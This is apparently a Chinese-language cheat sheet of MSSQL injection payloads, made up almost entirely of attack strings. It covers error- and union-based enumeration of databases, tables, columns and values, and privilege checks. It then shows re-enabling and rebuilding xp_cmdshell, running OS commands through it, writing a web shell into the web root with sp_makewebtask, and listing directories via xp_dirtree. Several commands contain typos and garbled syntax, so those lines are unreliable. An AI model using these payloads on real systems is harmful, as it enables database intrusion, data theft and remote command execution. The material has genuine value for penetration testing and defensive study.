MSSQL数据库安全

MSSQL数据库安全

1. MSSQL注入

1).关键系统表master

master.dbo.sysdatabases
关键字段:name:数据库名,dbid:库ID
master.dbo.sysobjects
关键字段:name:对象名称,id:对象id,uid:所有者对象用户id,status:对象状态,xtype:对象类型
master.dbo.syscolumns
关键字段:name:字段名称,id:表id号,colid:字段id

2).手工检查

注入点类型的检查:and exists (select * from sysobjects)
权限的判断:select is_srvrolemember(‘sysadmin/db_owner/public‘)
信息收集:
and @@version>0 //数据库信息
declare @d int //判断支持多行语句查询
and (select count(1) from [sysobjects])>=0 //是否支持子查询
and user>0 //获取当前数据库用户名
and 1=convert(int,db_name())或and 1=(select db_name()) // ?当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS(‘master‘)) //判断是否有库读取权限
group by 字段名 having 1=1-- //having与group by查询表名与字段名
order by报错法查询注入 http://blog.nsfocus.net/mssql-order-by/
查询所有数据库名:and 1=(select name from master.dbo.sysdatabases where dbid=1)--
查询当前数据库的所有表:and (select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)=0
查询字段名:and (select col_name(object_id(‘表名’),n))=0
查询字段值:and (select top 1 字段名 from 表名)>0 and(select top 1 字段名 from 表名 where 字段名<>字段值1)>0
union select查询注入
匹配列数:and 1=2 union all select null,null,null from 表名
匹配数据类型:and 1=2 union all select ‘a‘,null,null from 表名
查询所有数据库名:(select name from master.dbo.sysdatabases where dbid=1)
查询数据库所有表:(select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)
查询字段名:(select col_name(object_id(‘表名‘),n))
查询字段值:(select top 1 字段名 from 表名) ? (select top 1 字段名 from 表名 where 字段名<>字段值1)

2.利用MSSQL的扩展存储注入攻击

1).检查扩展存储

xp_cmdshell: select count() from master.dbo.sysobject where xtype=‘X‘ and name=‘xp_cmdshell;
xp_regread: select count(
) from master.dbo.sysobjects where name=‘xp_regread‘

2).开启扩展存储

exec sp_configure ‘show‘advanced option‘,1;
exec sp_configure reconfigurel;
exec sp_configure ‘xp_cmdshell‘,1;
exec sp_configure reconfigure;

3).恢复扩展存储

删除原有的xp_cmdshell:;exec master..sp_dropextendedproc ‘xp_cmdshell‘
创建xp_cmdshell:;exec master..sp_addextendprox xp_cmdshell,‘xplog70.dll‘

4).sa权限下扩展存储攻击方法:

xp_cmdshell扩展执行任意命令:;exec master..xp_cmdshell ‘whoami‘ ? //执行任意命令
xp_regwrite操作注册表与开启沙盒模式:
利用sp_makewebtash写入一句话木马:;exec sp_makewebtask ‘c:\inetpub\wwwroot\cimer.asp‘ ;select ‘evil.file‘--

5).db_owner权限下扩展存储攻击方法:

判断数据库用户权限:and 1=(select is_member(‘db_owner‘));--
创建一个表:;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
利用xp_dirtree扩展查询:;insert into temp (dir,depth,files) exec master.dbo.xp_dirtree ‘c:‘,1,1--
查询表中的内容:and(select dir from temp where id=1)>0